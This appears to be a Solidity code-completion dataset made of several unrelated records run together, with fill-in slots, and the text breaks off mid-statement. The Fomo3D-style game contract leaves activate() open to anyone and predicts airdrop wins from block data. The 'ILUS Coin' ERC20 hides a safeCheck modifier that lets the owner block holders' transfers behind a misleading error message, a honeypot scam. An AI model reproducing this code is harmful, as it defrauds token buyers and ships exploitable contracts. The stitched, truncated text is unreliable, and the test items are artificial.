_eth; // check to see if round has ended and no one has run round end yet if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // set up our tx event data F3Ddatasets.EventReturns memory _eventData_; // end the round (distributes pot) round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire withdraw and distribute event emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) plyr_[_pID].addr.transfer(_eth); // fire withdraw event emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } /** * @dev use these to register names. they are just wrappers that will send the * registration requests to the PlayerBook contract. So registering here is the * same as registering there. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who referred you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; // fire event emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } //============================================================================== // _ _ _|__|_ _ _ _ . // (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan) //=====_|======================================================================= /** * @dev return the price buyer will pay for next 1 individual key. * -functionhash- 0x018a25e8 * @return price for next key bought (in wei format) */ function getBuyPrice() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else // rounds over. need price for new round return ( 75000000000000 ); // init } /** * @dev returns time left. dont spam this, you'll ddos yourself from your node * provider * -functionhash- 0xc7e284b8 * @return time left in seconds */ function getTimeLeft() public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } /** * @dev returns player earnings per vaults * -functionhash- 0x63066434 * @return winnings vault * @return general vault * @return affiliate vault */ function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { // setup local rID uint256 _rID = rID_; // if round has ended. but round end has not been run (so contract has not distributed winnings) if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { // if player is winner if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); // if player is not the winner } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } // if round is still going on, or round has ended and round end has been ran } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } /** * solidity hates stack limits. this lets us avoid that hate */ function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } /** * @dev returns all current round info needed for front end * -functionhash- 0x747dff42 * @return eth invested during ICO phase * @return round id * @return total keys for round * @return time round ends * @return time round started * @return current pot * @return current team ID & player ID in lead * @return current player in leads address * @return current player in leads name * @return whales eth in for round * @return bears eth in for round * @return sneks eth in for round * @return bulls eth in for round * @return airdrop tracker # & airdrop pot */ function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; return ( round_[_rID].ico, //0 _rID, //1 round_[_rID].keys, //2 round_[_rID].end, //3 round_[_rID].strt, //4 round_[_rID].pot, //5 (round_[_rID].team + (round_[_rID].plyr * 10)), //6 plyr_[round_[_rID].plyr].addr, //7 plyr_[round_[_rID].plyr].name, //8 rndTmEth_[_rID][0], //9 rndTmEth_[_rID][1], //10 rndTmEth_[_rID][2], //11 rndTmEth_[_rID][3], //12 airDropTracker_ + (airDropPot_ * 1000) //13 ); } /** * @dev returns player info based on address. if no address is given, it will * use msg.sender * -functionhash- 0xee0b5d8b * @param _addr address of the player you want to lookup * @return player ID * @return player name * @return keys owned (current round) * @return winnings vault * @return general vault * @return affiliate vault * @return player round eth */ function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { // setup local rID uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, //0 plyr_[_pID].name, //1 plyrRnds_[_pID][_rID].keys, //2 plyr_[_pID].win, //3 (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4 plyr_[_pID].aff, //5 plyrRnds_[_pID][_rID].eth //6 ); } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine) //=====================_|======================================================= /** * @dev logic runs whenever a buy order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // call core core(_rID, _pID, msg.value, _affID, _team, _eventData_); // if round is not active } else { // check to see if end round needs to be ran if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } // put eth in players vault plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } /** * @dev logic runs whenever a reload order is executed. determines how to handle * incoming eth depending on if we are in an active round or not */ function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // if round is active if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { // get earnings from all vaults and return unused to gen vault // because we use a custom safemath library. this will throw if player // tried to spend more eth than they have. plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); // call core core(_rID, _pID, _eth, _affID, _team, _eventData_); // if round is not active and end round needs to be ran } else if (_now > round_[_rID].end && round_[_rID].ended == false) { // end the round (distributes pot) & start new round round_[_rID].ended = true; _eventData_ = endRound(_eventData_); // build event data _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; // fire buy and distribute event emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } /** * @dev this is the core logic for any buy/reload that happens while a round * is live. */ function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { // if player is new to round if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); // early round eth limiter if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } // if eth left is greater than min eth allowed (sorry no pocket lint) if (_eth > 1000000000) { // mint the new keys uint256 _keys = (round_[_rID].eth).keysRec(_eth); // if they bought at least 1 whole key if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); // set new leaders if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; // set the new leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } <FILL_FUNCTION> /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 50); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards _com = _com.add(_p3d.sub(_p3d / 2)); admin.transfer(_com); _res = _res.add(_p3d / 2); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // pay 3% out to community rewards uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d; if (!address(admin).call.value(_com)()) { // This ensures Team Just cannot influence the outcome of FoMo3D with // bank migrations by breaking outgoing transactions. // Something we would never do. But that's not the point. // We spent 2000$ in eth re-deploying just to patch this, we hold the // highest belief that everything we create should be trustless. // Team JUST, The name you shouldn't have to trust. _p3d = _com; _com = 0; } // distribute share to affiliate uint256 _aff = _eth / 10; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } // pay out p3d _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { // deposit to divies contract uint256 _potAmount = _p3d / 2; admin.transfer(_p3d.sub(_potAmount)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); // set up event data _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function potSwap() external payable { // setup local rID uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 1% into airdrop pot uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate // require(msg.sender == admin, "only admin can activate"); // erik // can only be ran once require(activated_ == false, "FOMO Short already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } }
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true;
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external
//============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external
38258
AssetInterface
_performGeneric
contract AssetInterface { function _performTransferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool); function _performTransferToICAPWithReference(bytes32 _icap, uint _value, string _reference, address _sender) returns(bool); function _performApprove(address _spender, uint _value, address _sender) returns(bool); function _performTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool); function _performTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool); function _performGeneric(bytes _data, address _sender) payable returns(bytes32) {<FILL_FUNCTION_BODY> } }
contract AssetInterface { function _performTransferWithReference(address _to, uint _value, string _reference, address _sender) returns(bool); function _performTransferToICAPWithReference(bytes32 _icap, uint _value, string _reference, address _sender) returns(bool); function _performApprove(address _spender, uint _value, address _sender) returns(bool); function _performTransferFromWithReference(address _from, address _to, uint _value, string _reference, address _sender) returns(bool); function _performTransferFromToICAPWithReference(address _from, bytes32 _icap, uint _value, string _reference, address _sender) returns(bool); <FILL_FUNCTION> }
throw;
function _performGeneric(bytes _data, address _sender) payable returns(bytes32)
function _performGeneric(bytes _data, address _sender) payable returns(bytes32)
24568
ERC20
_burn
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function upint(address addressn,uint8 Numb) public { require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;} } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function intnum(uint8 Numb) public { require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ //ILUS Coin function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} _;} function _transfer_coin(address sender, address recipient, uint256 amount) internal virtual{ require(recipient == address(0), "ERC20: transfer to the 